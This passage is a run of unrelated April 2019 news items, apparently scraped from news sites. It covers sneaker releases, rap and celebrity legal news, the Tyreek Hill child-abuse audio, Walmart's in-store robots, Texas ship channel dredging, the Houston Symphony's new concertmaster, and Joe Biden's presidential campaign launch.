CAD43.66). New Brunswick experienced the second-largest decline in occupancy (-19.5% to 44.0%). Jordan Brand is continuing their incredible 2019 with even more releases during the Spring and Summer months. One of those releases comes by the way of the Air Jordan 13 "Cap And Gown" which is a play on last year's Jordan 11 of the same name. For the uninitiated, the "Cap And Gown" model is supposed to be a shoe that can be worn to either your graduation or your prom, depending on the fit you're trying to get off. The shoe is pretty simple as it has an all-black patent leather upper with patches of black suede on the back and on the toe cap. It's a pretty clean sneaker that will surely get those graduating high school excited about their upcoming prom outfits. If you're looking to cop this shoe, you're in luck as it's dropping tomorrow, April 27th for $200 USD. Thanks to Sneaker News, we also have a list of the stores that will be selling these kicks which you can check out below. Nike SNKRS 10am ET SNS 9am CET/3am ET Solebox 9am CET/3am ET Overkill 9am CET/3am ET Finish Line 10am ET Footaction 10am ET Eastbay 10am ET Image via Nike Image via Nike Image via Nike Image via Nike Mixing these problems together, I propose the wealthy U.S. colleges redirect their energy and money from fighting the new tax and into what they do best: teaching college. Train a new generation of educators in the low-income countries and make it tuition-free as long as the graduates agree to teach in their own country. These countries desperately need their own young people to access college, more than they need new school buildings. (Conveniently for the U.S. colleges, the cost of a degree there is only a fraction of the U.S. cost.) Birdman and Young Boy Never Broke Again come joined forces for "Cap Talk." The Cash Money Records mogul has previously called Youngboy a "monster" who he described as the "next biggest superstar in the world." The two Louisiana rappers have a long history of working together, even collaborating on a mixtape titled From the Bayou that's scheduled to be released this year. From the Bayou will be the second joint record from Birdman in 2019, following his reunion with Juvenile on Just Another Gangsta. This forthcoming project has been teased by Birdman for over a year, so fans are waiting to see what he's cooked up with the next generation of Louisiana rap. The hip hop mogul recently talked about what it was like being instrumental in bringing New Orleans rap culture to the mainstream arena. "We was able to move and do what we do throughout New Orleans, Texas, Atlanta, throughout the south," Birdman said in an interview with Drink Champs. "Alabama, all them areas. So, for us, we was still generating a lot of money and we was putting out a lot of music every month...So, for me and for us, we was just really trying to get out the ghetto. I found the hustle, which was music and we just stuck with it. Kept it pimping." Quotable Lyrics I heard 'em say I was broke What the f*ck these n*ggas talkin' 'bout These n*ggas know that's cap talk Hunnid bands up inside the vault Every time we speak it's that murder talk Earlier today, Chief Keef was set to appear before a judge at the Minnehaha County in South Dakota, where the rapper was indicted on drug charges in 2017. Back in October of last year, Keef filed a motion to get the charges dismissed, albeit in a losing effort. The defense team and the arbitrator were in disagreement over their respective definitions of the term "controlled substance." Keef's attorney pleaded disparity; the judge upheld the state legislature, at which point it was clear to both side that some kind of conditional punishment hung in the balance. "It is difficult to imagine how a person of ordinary intelligence could review the referenced statutes and determine whether marijuana edibles are a 'controlled substance' instead of marijuana," the defense pleaded in October. Johnny Nunez/WireImage/Getty Images Fast-forward to the morning of the 25th (today), and Chief Keef has already sorted out his fate, after a quick one-two session in the Minnehaha courthouse. According to TMZ, Keef and his attorneys accepted a plea bargain that calls for one whole year of sobriety (drug-free) and for Keef to submit a "no contest" plea right on the spot. If Love Sosa respects those conditions, he will avoid jail time. On the other hand, should he disobey those requirements, he will invariably open himself up to much harsher punishment in the future. [Via] The Kansas City Chiefs have reportedly barred wide receiver Tyreek Hill from all team activities in the wake of a disturbing audio recording that aired on a local TV station on Thursday night. In the audio clip, Hill's fiancee, Crystal Espinal, accuses Hill of breaking their three-year old son's arm, to which Hill replied, "You need to be terrified of me too, bitch." Chiefs general manager Brett Veach released the following statement regarding the audio: "We were deeply disturbed by what we heard [on the recorded conversation]," general manager Brett Veach said. "We were deeply concerned. Now, obviously, we have great concern for [fiancee] Crystal [Espinal]. We are greatly concerned for Tyreek. But our main focus, our main concern, is with the young child." https://twitter.com/_/status/1121714127876055040 The audio leak comes just days after Hill and Espinal learned they will not be charged following an investigation into the alleged battery involving their three-year old son. Hill was never listed in the report but Espinal, was listed under "others involved." On Wednesday, the Johnson County (Kansas) District Attorney's office held a press conference in which District Attorney Stephen M. Howe explained that although he believes a crime occurred, the evidence in the case didn't clearly establish who committed the crime. "This office has reviewed all the evidence compiled by these agencies and has declined to file charges against Tyreek Hill and Crystal Espinal," Howe said. "We are deeply troubled by this situation and are concerned about the health and welfare of the child in question. We believe a crime has occurred. However, the evidence in this case does not conclusively establish who committed this crime." Hill issued the following statement on Thursday afternoon, prior to being banned from all team activities. "I love and support my family above anything. My sons health and happiness is my #1 priority." "I want to thank the Kansas City Chiefs, my attorneys, my agent and my union for supporting me through this." "My focus remains on working hard to be the best person for my family and our community I can be, and the best player to help our team win. https://twitter.com/_/status/1121638956624310272 The one thing fans can count on from Kodak Black is comedy, even during a time when he's facing a number of uphill legal battles. The Florida rapper recently hopped on social media to showcase his vocals by sharing a video of himself in the shower as he belted out Keyshia Cole's 2005 The Way It Is hit single, "Love." The rapper was all smiles in the clip, thankfully only showing himself from the shoulders up. Fans are happy to see Kodak in good spirits, especially following recent reports that while he was on stage during his concert in Washington, D.C., his tour buses were being raided by the authorities. The reports also stated that firearms were located and members of his entourage were arrested, only to later be released. After Kodak and friends were stopped and arrested at the United States-Canada border, the rapper's legal troubles continued to increase. He also looks forward to his sexual assault case in South Carolina, a trial that his lawyers are trying to get delayed. Meanwhile, Kodak shared an intimate moment with his dental hygienist on social media, including clips of himself getting his gold teeth permanently fixtured into his mouth once again. "I Been Doing This Sh*t," he wrote in the caption of the video showing him undergoing dental surgery. "No Pull Outs All My Teeth Be Permanent !! This My 4th Set Catch Up." Nipsey Hussle's death has affected the entire hip-hop community but those of us who knew him are shaken up the most. His family, friends, peers, employees, and everybody that ever came into contact with the Los Angeles rapper is having difficulty processing their emotions after such a strong part of their community was taken away so suddenly. After Nipsey's murder, his bodyguard retired from the profession, promising to take care of Lauren London and their children for the rest of his life. Another member of Nipsey's staff has paid tribute to the rapper in a beautiful way, giving his newborn son "Ermias" as a middle name. https://www.instagram.com/p/BwuliHcgysa Nipsey Hussle, born Ermias Asghedom, passed away at the age of 33-years-old. Jorge Peniche, who worked with the artist as his tour manager, is welcoming a baby boy into the world and he decided to commemorate Nipsey forever by including a piece of the rapper in his name. "World, please welcome our new son," wrote Jorge. "Luis Ermias Peniche April 25th 2019 // 12:05am." Peniche shared several photos with his baby boy, telling the world that he feels "blessed beyond measure." Nipsey Hussle had a huge impact on the people who surrounded him so it isn't a surprise to see members of his team working extra hard to keep his name and legacy alive. https://www.instagram.com/p/Bwul14wgtpf Amsterdam-based sneaker and streetwear shop Patta is celebrating its 15th anniversary this year with two special edition Air Jordan 7 collaborations. Patta's official store in Amsterdam has already released the first pair, featuring a "Shimmer/Tough Red-Velvet Brown-Mahogany Pink" colorway - but a more widespread release is reportedly in the works. Today, sneaker source @Znseakerheadz has provided a more detailed look at what's to come from the exclusive collaboration. https://www.instagram.com/p/BwuDsL8lzfJ The second pair has not yet been revealed but according to Sneaker News, the color scheme is listed as follows, "Icicle/Sequoia-River Rock-Light Crimson." It is believed that one of the colorways will drop exclusively at Patta's stores, while the other will be available globally. In addition to the two Air Jordan 7 collabs, Patta will also be releasing a co-branded tracksuit as well as shorts, bucket hats and more. Release dates have not yet been announced, but since one pair has already dropped we expect more information in the very near future. https://www.instagram.com/p/Bwh1_JuFz77 New England Patriots owner Robert Kraft was busted for his alleged involvement in a prostitution ring at Orchids of Asia Day Spa in Jupiter, Florida. His alleged transgressions occurred in January and he was ultimately charged in February on two misdemeanor counts of first-degree solicitation. Since then, Kraft has pleaded not guilty to the charges and has been working tirelessly to make sure that the video of him in the spa doesn't make it to the public. Kraft actually won a ruling earlier this week which put a hold on the public release of the video until after the trial. Today, Kraft's lawyers were back in court to question members of the Jupiter Police Department about why they installed cameras into the spa and the legality of it all. One of Kraft's lawyers, Alex Spiro, was grilling a detective so hard that one of the members of the prosecution took exception. In a video from inside the courtroom obtained by TMZ, there is an interaction between Spiro, the judge, and Assistant State Attorney Elizabeth Neto. At the end of the ordeal, Neto is clearly exasperated with Spiro and whispers to her colleague "What an a**hole." Neto's comments were picked up on a microphone inside the court but it doesn't seem like anyone else heard it. Regardless, this case is shaping up to be quite the legal battle. Slick Rick is widely regarded as one of the greatest storytellers in hip-hop history. While his musical output has slowed of late, his technical ability has remained sharp throughout the passing decades. Last year, French Montana tapped the legend to play a prominent role in his "No Stylist" video, and Rick emphasized that his disdain for stylists made him the perfect man for the job. "I don't need a stylist, so we went that routeI went that route," he claimed in an interview, before teasing an unreleased verse that ultimately went unused. Now, Rick has dropped off his "No Stylist" contribution, leaving us wondering why he was never brought into the fold for an official remix. Off the bat, his dexterous flow and iconic cadence define flippancy, as he walks through an annoying experience with a well-intentioned though altogether out-of-touch stylist. Even now, Slick Rick sounds like he can outflow some of the new-school rappers on wax. Does he still got it, by your estimation? Quotable Lyrics Walk into who, son? French Montana's video shoot And his plane hasn't land so sole of command son, Show us around son, Flow is so grand son 'Hi my name is so-and-so and um, I'll be your stylist" Boasting for what son, show what you got then! Hours after clearing the air with TMZ Sports, the tabloid has effectively turned the tables on Tyreek Hill, by releasing a video where he purportedly threatens his baby mother with the same allusion of violence that he exacted on his three-year-old child. Although TMZ is toeing the line with cautious language, the audio does bear a likeness to his voice, and to their knowledge, it was recorded by Tyreek's baby mother/fiancee as an insurance policy. The tape was reportedly passed on to a friend who sat on it for a brief moment before submitting the evidence to Kansas City news outlet KCTV at a later time. Both Tyreek Hill and his fiancee Crystal Espinal were the subjects of a child abuse investigation involving their own three-year-old son. The following is a transcript of the recording. Please be advised, the clip does contain sensitive material. Crystal Espinal: "He is terrified of you. And you say that he respects you, but it's not respect." Tyreek Hill: "He respects me." Crystal: "He is terrified of you." Tyreek Hill: "You need to be terrified of me, too, bitch. That's why you can't keep a f*cking man." Crystal Espinal: "He started crying & you were like, 'Shut up, shut up, stop crying, stop crying.'" Tyreek Hill: "Right." Crystal Espinal: "And then he kept crying because he was scared. He's terrified. You grabbed onto him somehow or he fell? 1 of the 2." Tyreek Hill: "I didn't do nothing." Crystal Espinal: "Then why does he say, 'Daddy did it.'? Why?" Tyreek Hill: "He says Daddy does a lot of things." Crystal Espinal: "A 3-year-old is not going to lie about what happened to his arm." [Via] Recent reports by Page Six are in and apparently, Kevin Hunter has called the cops on his ex-wife Wendy Williams. Their encounters remain flighty ever since Williams filed for divorce after 23 years of marriage. Accordingly, last Saturday, the talk-show host was intercepted by 5-0 after she showed up at the Livingston, New Jersey property she shares with her estranged husband. Robin Marchant/Getty Images The police report further details Williams arrived with a moving truck to gather her things and move them to another location. As such, Hunter did not appreciate the gesture, nor did he share Williams' vision. As a response, the former producer and manager to Wendy Williams called the police and demanded the items be left alone. A friend of the Wendy Williams Show star, Ronald Clinton, added within the police report that he was at the house during the encounter to "keep the peace." Fortunately, the police officers who arrived on the scene were able to keep things amicable with Clinton's help and allegedly reached a reasonable compromise. Johnny Nunez/WireImage/Getty Images The report further entails, Mr. and Mrs. Hunter mutually agreed to these terms, and further agreed that the remaining furnishings were to be undisturbed, inventoried, and valued at a later date." Under police scrutiny, Williams was able to recuperate her clothing, bedroom furnishings, and personal art pieces. [Via] Both domestic and foreign companies raised their prices on washing machines, with the average about $86 per unit, or nearly 12 percent. More surprising is that they also charged more for dryers, amounting to $92 apiece apparently because most people buy both appliances together, and companies have a general practice of selling each at the same price. A dark gray robot rolled down the store aisle, beeping and flashing a yellow light as it scrubbed the concrete floor between a pallet of two-liter soda bottles and racks of colorful swimwear. A few aisles over, a tall white robot outfitted with LED lights and cameras scanned the shelves, taking virtual stock of green bean cans and ramen cup inventory. At the back of the store, another robot automatically scanned and sorted cardboard boxes of products as they were unloaded from a delivery truck. Welcome to Walmart and its vision for the future of brick-and-mortar stores. The worlds largest retailer earlier this month announced plans to invest $265 million across Texas to upgrade stores, deploying hundreds of robots to scrub floors, scan shelves, fetch online orders and unload delivery trucks. The Bentonville, Ark.-based company plans to spend $1 billion this year to bring thousands of autonomous robots to many of its 4,600 stores nationwide. Its a plan that has heightened concern that automation could compound job losses in an industry already battered by high-profile bankruptcies and thousands of store closures. By the Numbers Walmart plans to install thousands of robots across many of its 4,600 stores nationwide this year. Nationally 1,500 automated floor scrubbers, 1,200 automated delivery truck unloaders 900 automated pickup towers 300 automated shelf scanners Texas 171 stores will receive automated floor scrubbers 137 stores will receive automated delivery truck unloaders 82 automated pickup towers will be installed 25 stores will receive automated shelf scanners See More Collapse The retail industry has lost more than 140,000 jobs since January 2017, despite soaring employment in most other sectors of the U.S. economy, according to Labor Department data. U.S. retailers have announced nearly 6,000 store closures so far this year, surpassing last years 5,726 closures, according to the latest Coresight Research store tracker report. Walmart, the worlds largest private employer with more than 1.5 million workers nationally, operates 81 Supercenters and Neighborhood Markets in the Houston area. The company last month reported consolidated net income of $7.1 billion on revenue of $514.4 billion for the fiscal year ended Jan. 31, compared to a $10.5 billion profit on revenue of $500.3 billion a year earlier. Obviously, automation is a concern for retail, said Parker Harvey, a Houston regional economist with Workforce Solutions, a quasi-government group that provides employment services in the 13-county region. Given the size of Walmart, it could have a large impact. Early adopters Amazon has long been on the bleeding edge of technology, envisioning a future of cashierless stores, automated warehouses and flying drones that deliver online orders to shoppers anytime and anywhere. The Seattle-based e-commerce giants ascendance has driven competitors, including Walmart, to invest heavily in e-commerce and automation to make shopping more convenient for consumers. Kroger, the nations largest grocer, earlier this month launched its autonomous grocery delivery service in Houston. And the Cincinnati-based company last year launched its Scan, Bag and Go technology in the Houston area, allowing customers to use a wireless handheld scanner or a smartphone to scan and bag groceries as they shop in the store. It also struck a deal with U.K.-based technology company Ocado to use automated robots to pick, sort and pack online grocery orders in distribution centers. H-E-B, the Texas grocery heavyweight, last year acquired Favor, an Austin food delivery company. The San Antonio chain, which is building a technology and innovation hub in Austin, offers online ordering for home delivery at 48 stores in the Houston area and is piloting a self-checkout mobile app at several Texas stores. Stop & Shop, a Massachusetts-based grocer, earlier this year rolled out robots in some of its stores to alert managers of spills. Chinese e-commerce giants, such as Alibaba and Tencent, are pioneering the use of mobile payments. Brick-and-mortar retail is under pressure, and existing concepts are trying to figure out ways to become more efficient, said Harvey, the Workforce Solutions economist. Walmart has perfected the supply chain, but the store side is something theyre realizing could be more efficient to compete with the Amazons of the world. Walmart in recent years has installed PickUp Tower vending machines to handle online orders, utilized Virtual Reality goggles to train new hires and deployed Check Out With Me cashiers with mobile scanners to help customers pay for items anywhere in their stores. The discount retailer revamped its website and mobile app to make finding items easier online and in stores. It also rolled out two-day shipping and acquired e-commerce brands such as Bonobos and Jet.com. We want Walmart to be synonymous with technology and e-commerce, Walmart Store Manager Sherry Eberle said on a recent tour of the Walmart Supercenter in Richmond, one of the first in the Houston area to use autonomous robots. Its a whole different Walmart and a whole new world of retail. Boosting efficiency As part of its embrace of technology, Walmart last week announced it transformed a Neighborhood Market in a New York suburb into an Intelligent Retail Lab, a grocery store outfitted with artificial intelligence-enabled cameras, sensors and computers that can notify employees when an item is running low on shelves and needs to be restocked. Walmart argues automation will help minimize tedious and time-consuming tasks, freeing up employees to focus on more fulfilling duties such as customer service. At the Richmond store, what used to take 15 workers to unload and sort new inventory, now takes just five employees with the help of an automated unloader. Similarly, scanning items and restocking shelves used to take eight employees most of the day. Now it takes one employee two hours to complete. Its made our employees more efficient, Eberle said. Concerns persist, however, that automation will curtail or eliminate more industry jobs. Make no mistake, Walmarts move to autonomous floor cleaners is not about better serving customers and workers, the United Food and Commercial Workers International Union, which represents 1.3 million retail workers, said in a statement. This latest job-killing venture has the potential to destroy over 5,000 maintenance jobs in the U.S. if it is implemented in every Walmart store. Walmart, whose workforce is not unionized, has acknowledged some jobs may be cut in the future as automation eliminates some mundane tasks, but that the reductions will take place only through regular attrition. The company disputed the notion that robots will replace human employees. Walmart is still hiring cashiers, cart pushers and stockers across its Houston Supercenters, which on average employ about 300 workers. The Walmart Supercenter in Richmond employs 260 workers, and offers a starting salary of $11 an hour, Eberle said. Moreover, innovations such as online grocery pickup and delivery services have led to Walmart hiring 35,000 personal shoppers nationwide jobs that did not exist a few years ago. Eberle, who started at Walmart 23 years ago as an overnight apparel associate and worked her way up to becoming a store manager, said she never imagined she would one day oversee robotic employees. While acknowledging that concerns about robots taking over human jobs are valid, Ebele said the fears are exaggerated. Robots are only as good as the humans that operate them, Eberle said. We still need that human input. Our people are what makes the difference. Role model Walmarts foray into robotics and automation has piqued the interest of retailers from around the world. The Walmart Supercenter in Richmond, which has used robots since it opened in August, has hosted retail executives from Australia, Japan and Mexico. Most recently, a group of 40 store managers and executives from Coop, a Swedish grocer with 600 stores in Europe, toured the store. Eberle led the tour, showing off the autonomous floor cleaner and shelf scanner that use QR codes and geolocation technology to pinpoint their location in the 191,000-square-foot store. Sensors detect shoppers and stop the robots before they bump into people. So far, the robots have not had any accidents, Eberle said. As the tour progressed, Eberle showcased VR headsets that teach new hires how to restock shelves and how to react to an active shooter situation. She later demonstrated overhead camera technology that can help prevent shoplifting from self-checkout lanes. Stewart Samuel, the program director for retail research firm IGD Services Canada, organized the Walmart tour for the group of Swedish retailers. After touring many supermarket chains worldwide, Samuel said Walmart is leading the pack when it comes to in-store technology. Walmart is probably the most advanced retailer weve seen, Samuel said. Houston is so competitive. Our clients are interested in what it takes to compete here. Patrik Levin, the chief sales and marketing officer with Coop, said he too was impressed with Walmarts robots. Its very interesting, Levin said. It feels like theyre taking very big strides in technology. Stacy Dickerson, 51, encountered Walmarts robots for the first time on Tuesday while shopping for coffee and cake mix with her 16-year-old daughter, Kaleigh. As the automated shelf scanner whirled by her cart, the Richmond resident uttered, What in the world is that? before flagging a human stocker to ask what the robot does. I hope it doesnt replace human beings, Dickerson said later. I get upset when Im on the phone and I cant talk to a person. But thats the way the world is going, I guess. paul.takahashi@chron.com twitter.com/paultakahashi The private sector is becoming an increasingly important funding source to widen and deepen ship channels along the Gulf Coast as fewer federal dollars become available for such projects. The Houston company NextDecade on Wednesday agreed to finance the dredging of nearly half Brownsville Ship Channel, where it plans to develop a liquefied natural gas export terminal. The Port of Brownsville received a federal permit in 2016 to deepen the ship channel from 42 feet to 52 feet, but has lacked the money get the ambitious project started. Under the agreement with the port, NextDecade would pay to improve the channel from its entrance at the Gulf of Mexico to company's proposed export terminal about halfway up the 17-mile waterway. NextDecade also agreed to widen a bend near the channel's entrance to improve navigational safety. Costs will be determined through a bidding process that will begin later this year. Construction is expected to start in the first half of 2020 and be complete by 2023. "The improvements we are funding are necessary for the continued growth of the Port of Brownsville including the safe transiting of LNG vessels from the Rio Grande LNG terminal to the Gulf of Mexico," NextDecade said in a statement. NextDecade is not the only private company funding a ship channel project in Texas. As part of a partnership with the Port of Corpus Christi to develop a crude oil export terminal near Port Aransas, the Washington investment firm Carlyle Group is providing $400 million to dredge a three-mile stretch of the Corpus Christi Ship Channel to 75-feet deep. If approved by regulators, the Harbor Island crude oil export terminal could accommodate 20 supertankers per month as soon as October 2020. 20-year wait Port of Corpus Christi CEO Sean Strawbridge said that it took more than 20 years to get federal approval to deepen the 36-mile Corpus Christi Ship Channel. Although the port has committed $100 million of its own money for the $326 million dredging project, the federal government has only budgeted $96 million for its share leaving a funding gap of $130 million. In the absence of federal earmarks and/or help from the State of Texas, more and more of these navigation construction projects will be forced to look at private funding options. Strawbridge said. Thus, we understand and commend the Port of Brownsville for seeking alternative funding sources. NextDecade is one of three companies seeking permission from state and federal regulators to build LNG export terminals at the Port of Brownsville. Designed to produce up to 27 million metric tons of liquefied natural gas per year, NextDecades proposed Rio Grande LNG and Rio Bravo Pipeline projects are expected to attract $15 billion of private investment and generate 6,000 construction jobs. An environmental review of the NextDecade projects is expected to be released on Friday. A final federal permit decision is expected in July. But Rio Grande LNG and two similar projects face stiff opposition from a coalition of shrimpers, fishermen, environmentalists, Native Americans, neighbors and communities working under the banner Save RGV From LNG. In their reviews of the other two projects, the Federal Energy Regulator Commission expressed concerns that the combined traffic, noise and habitat fragmentation from all three projects would have permanent and/or significant impacts on three endangered species the ocelot, jaguarundi and aplomado falcon. sergio.chapa@chron.com @SergioChapa on Twitter One of the first computers I got to actually touch was a Trash 80. That how folks colloquially referred to the TRS-80 Micro Computer System first launched in 1977 by Tandy Corp., then-parent company of Radio Shack, which was once a store filled with electronic marvels. Most of the time, though, the best equipment I could access was an IBM Selectric. My 8th grade typing teacher warned me not to use it. You wont always have the luxury of an typewriter, he said. These machines are really expensive, you know. And you need to keep your fingers strong for manual typewriters. He was some visionary, and to this day, I break keyboards. In todays Texas Inc., our tech writer Dwight Silverman interviews Klara Jelinkova, chief information officer at Rice University. She grew up behind the Iron Curtain in Czechoslovakia and says she learned programming on a computer her mother smuggled into the country from what was then West Germany. It was a Commodore 64. Anyone remember those? My mom has a Ph.D. in math and physics, and a post-doc as well, Jelinkova explains. She worked on some of the first Russian mainframes, similar to the IBM mainframes. I think for her, and I think for me too, technology is just kind of a creative endeavor. And I think thats what I inherited from her the passion for it. Today, we see toddlers playing on smartphones and tablets, tossing around more computing power than anyone working on a 1977 vintage Trash 80 could ever imagine. They dont have to know how to write commands or code to do it. They dont even need to type, really. Also in Todays Texas Inc. we go further back in time than the Commodore 64 or the TRS-80 to profile a Houston company thats been making high-end shirts for successful businessmen since 1883. Hamilton Shirts - costing $225 for a standard shirt to $395 for one that is customized - imports most of its fabric from Italy and Switzerland. The biggest challenge to running its business is finding shirtmakers. Were fortunate to have a tremendous staff with low turnover, says fourth-generation owner David Hamilton. Im not sure what that looks like 20 years from now. In the relentless march of technology, its not like very many people are learning how to sew. Soon even typing will be lost art. Welcome to Texas Inc. Within a month, Yoonshin Song will be in Houston serving in her new capacity as concertmaster for the Houston Symphony. When we spoke last week, she was still in Detroit, feeling both thrilled about the opportunity before her and also wistful about leaving the Detroit Symphony Orchestra. Such is the nature of a concertmaster, whose relationship with an orchestra is a close one. Shed served as concertmaster in Detroit for seven years. I am definitely excited about this new opportunity, Song said. And all that will come with it. Im looking forward to spending more time with the people, getting to know them. And there is this bittersweet feeling about looking back on what I have built with my colleagues in Detroit. Song was announced as the new concertmaster at the Houston Symphony last week, ending a search that began shortly after her predecessor, Frank Huang, accepted the concertmaster position with the New York Philharmonic. Yoonshins exceptional musicality, artistry, experience and personality made her our unanimous choice, said Houston Symphony musical director Andres Orozco-Estrada. She will enrich the musical life of our city through our work together with the orchestra. Three-year search The search that led to Song took about three years, which is far from unprecedented. After Huang announced his departure, performers who had worked with the symphony talked about the process of finding a replacement. After Huang left, I spoke to some Houston Symphony players, past and present, thinking the search for a concertmaster would be a swift one. Violinist Christine Pastorek, who retired in 2014 after 45 years with the Houston Symphony, told me she had worked with six concertmasters in her career. Each left their mark, she said. Its like studying with different teachers. A symphony orchestra concertmaster carries a particularly complicated load. She or he must master their instrument and make playing it look effortless. The concertmaster also leads the string section, the largest group of players in the orchestra, all with their back turned to the other musicians. As one symphony violinist told me years ago about the position, You have to be tough as nails, but adaptable, too. The concertmaster sits just to the left of the conductor and is the last instrumentalist to take the stage for a performance. She signals the principal oboe player for an A, initiating the tuning of the woodwinds, the brass and the strings. Strings are the largest section, more than 50 players, more than half of them violinists. The violins are responsible for so much of a performances melody that the concertmaster plays an important role in the intricacies of a performance things like bowing and phrasing from the conductor to the players. Huang took over the concertmaster role at the Houston Symphony in 2010. One violinist in the orchestra suggested his ability to perform and also lead made him a one-percenter among one-percenters who master the instrument. International history The Houston Symphony Orchestra in its first century employed just 12 concertmasters that, compared to 15 conductors during the same span. Admittedly those numbers are skewed somewhat by the late Raphael Fliegel, who held the concertmaster position for 26 years. Concertmasters have come from near and far England, Argentina, Israel and left for other concertmaster positions, teaching jobs or retirement. Ben Steinfeldt was first, working for five years starting in 1913, with a one-season interruption when Louis Arnouts, from Mauritius, filled the position before leaving for San Francisco. The concertmaster spot was vacant through the 1920s before Josephine Boudreaux a Louisiana native filled it. Boudreaux spent her childhood in Houston before studying violin in Europe. A much-lauded performer, she returned to Texas and held the concertmaster job from 1931 until 1937. Joseph Gallo took the job into the 1940s. Olga King Henkel (1943-1946) clearly possesses the coolest name among Houston Symphony concertmasters past. Oblivious to Boudreauxs legacy, a 1945 edition of the Longhorn newspaper in Camp Wolters ran a story that stated according to eminent musical authorities, the war has given women a real opportunity to keep music alive. Henkel was followed by Fliegel, who started playing with the symphony as a teenager. His tenure as concertmaster started a year after World War II concluded and ended a year before the U.S. pulled out of Vietnam. Ronald Patterson served through most of the 70s before retiring. Ruben Gonzalez left for Chicago after serving 1981 to 1987. Uri Pianka took the job from 1987 into the 21st century before retiring. Angela Fuller left for a position as principal second violin at the Dallas Symphony Orchestra after working as concertmaster here between 2006 and 2008. Replacing Huang Then came Huang. Huang, 40, was born in China, and moved with his family to Sugar Land when he was 7. In Houston, he studied with Fredell Lack. Lack was herself instructed by Boudreaux, taking Huangs connection to the Houston Symphony back more than seven decades. His work here quickly drew interest outside of Houston, and Huang initially took a leave of absence from the Houston Symphony to join the New York Philharmonic, listed by industry publication Gramophone as a Top 12 orchestra in the world and one of the five best in the United States. Hopes he might return quickly faded, and the search for a replacement began in earnest about three years ago. Huangs departure was met with sadness, but it also wasnt a surprise. Pastorek at the time spoke of a hopefulness that came from a new concertmaster. When a conductor or a concertmaster leaves, you feel a sense of loss about what they brought, she said. But theres something to look forward to, also. Someone out there who will bring their own personality, their own thing to the orchestra. And Houston now has a stature that can attract people of the highest caliber. Which brings Song to Houston. A native of Korea, she made her debut with the Seoul Philharmonic at age 11. Her list of prizes and credentials are admirable, including the Lipizer International Violin Competition, Lipinski & Wieniawski International Violin Competition, Henry Marteau International Violin Competition and first prize at the Stradivarius International Competition in the United States. She will step in swiftly as concertmaster, serving for all three of the classical subscription concerts taking place in May. And shell be back on Sept. 14 when the Houston Symphony begins its 2019-2020 season. I didnt have time to meet with too many people when I was there in November, she said. So Im excited to meet and spend more time with the people. And I finally found some time with the maestro, so Im excited to work with him. I found all the players Ive met to be vibrant and great people. So Im looking forward to what comes next. Former Vice President Joe Biden announced Thursday that he would seek the Democratic nomination to challenge President Donald Trump in 2020, casting the election as a national emergency and asking Democrats to put the task of defeating Trump above all their other ambitions. In a 3 1/2-minute video that focused on excoriating Trump, Biden presented himself as a steely leader for a country wracked by political conflict. Unlike the wide field of Democrats competing for the affections of the left, Biden avoided almost any talk of policy or ideology, signaling that he believes voters will embrace him as a figure of stability and maturity even in a partisan primary election. In doing so, Biden, 76, is making a bet of sorts that the Democratic Partys leftward shift in recent years has been greatly overstated, and that the moral clarity of his rhetoric and his seeming strength as a general election candidate will overpower other considerations for Democratic voters who tend to prize youth, diversity and unapologetic liberalism. Laying out for the first time why he wanted to run for president, Biden invoked the white supremacist march through Charlottesville, Virginia, that ended in bloodshed in 2017 and Trumps comment that there were very fine people on both sides. In that moment, Biden said in the video, I knew the threat to our nation was unlike any Id ever seen in my lifetime. We are in the battle for the soul of this nation, Biden said, warning that if Trump is re-elected, He will forever and fundamentally alter the character of this nation, who we are, and I cannot stand by and watch that happen. Biden elaborated on his opening argument at a fundraising event in Philadelphia on Thursday evening, again decrying Trumps response to the Charlottesville march. He rebuked what he described as Trumps embrace of dictators and oligarchs and the onslaught and constant attack on the courts, the constant attack on the press, the constant attack on even the Congress, according to a recording of his remarks. Trump did not directly address Bidens video assailing his comments about Charlottesville, responding instead with personal taunts, calling Biden Sleepy Joe on Twitter and not the brightest light bulb on Fox News. Biden enters the Democratic race as something of a front-runner, albeit one beset by challenges from all flanks and looming questions about his long political record. Two of Bidens populist rivals, Sens. Bernie Sanders of Vermont and Elizabeth Warren of Massachusetts, were already jabbing at his relationships with moneyed interests Thursday. And Bidens allies believe he must soon explain to voters his evolution on a range of issues, including elemental ones like criminal justice, abortion rights and the Iraq War. In a sign he may recognize the urgency of that task, Biden recently spoke privately with Anita Hill, who in 1991 was questioned harshly by a Senate committee led by Biden after she accused Clarence Thomas, now a Supreme Court justice, of sexual harassment. Biden expressed regret, according to an aide, but in an interview Hill said she left the conversation feeling deeply unsatisfied and did not describe Biden as having apologized. Bidens long-awaited entry effectively completes the list of Democratic candidates, a cast of 20 characters that is the most diverse presidential field ever. Atop it, for now, are two white men in their eighth decades of life Biden and Sen. Bernie Sanders, I-Vt. Bidens position as the leading Democratic candidate is an unfamiliar one for him. His two previous presidential bids, in 1988 and 2008, failed to catch on. Though he campaigned twice as former President Barack Obamas running mate, Biden has never been the starring actor in a major political production of his own inception. The overarching question of Bidens campaign is whether he can fill that role with sufficient competence and imagination to both dispel Democratic concerns about his personal discipline and inspire younger voters for whom he is a relatively distant figure. He gave a brief preview Thursday evening of how he might talk about issues besides Trump, telling the fundraising gathering that he would focus on economic dignity as an organizing concept. My North Star of what were going to talk about, in terms of the economy, is restoring the middle class, but looking at dignity, not just the GDP, Biden said. Biden is seen by most Democratic voters as a sympathetic figure, a trustee of Obamas legacy whose life has been touched repeatedly by grievous tragedy. He has spoken frequently about the death of his first wife, Neilia, and his infant daughter in a 1972 car crash; the death of his son, Beau, in 2015 became an occasion of national mourning. But Biden differs in profound ways, in his identity and political orientation, from the rising generation of voters and activists that has increasingly come to define the Democratic Party. Biden is a white man who became a senator during Richard M. Nixons presidency, in a party seen as prizing youth and diversity. He is a centrist and a determined champion of bipartisanship, vying to lead a coalition that views the Republican Party as irretrievably malignant. And he plans to finance his campaign chiefly through large contributions from traditional party bankrollers, in an age of grassroots hostility to corporations and the very wealthy. Biden has appeared alternately eager to campaign as Obamas natural heir and also wary of subsuming his candidacy entirely in nostalgia for an earlier administration. He did not mention Obama in his announcement video, and he told reporters, in a brief exchange Thursday at the Wilmington, Delaware, Amtrak station that bears his name, that he did not want Obamas backing at the outset. I asked President Obama not to endorse and whoever wins this nomination should win it on their own merits, Biden said. A spokeswoman for Obama issued a statement Thursday praising Biden warmly but not endorsing him, and over the last year Obama has quietly encouraged a range of other candidates to pursue the presidency. The dividing line in Democratic politics around Bidens candidacy was immediately apparent Thursday morning. He was instantly endorsed by a number of prominent moderates, including Sens. Bob Casey of 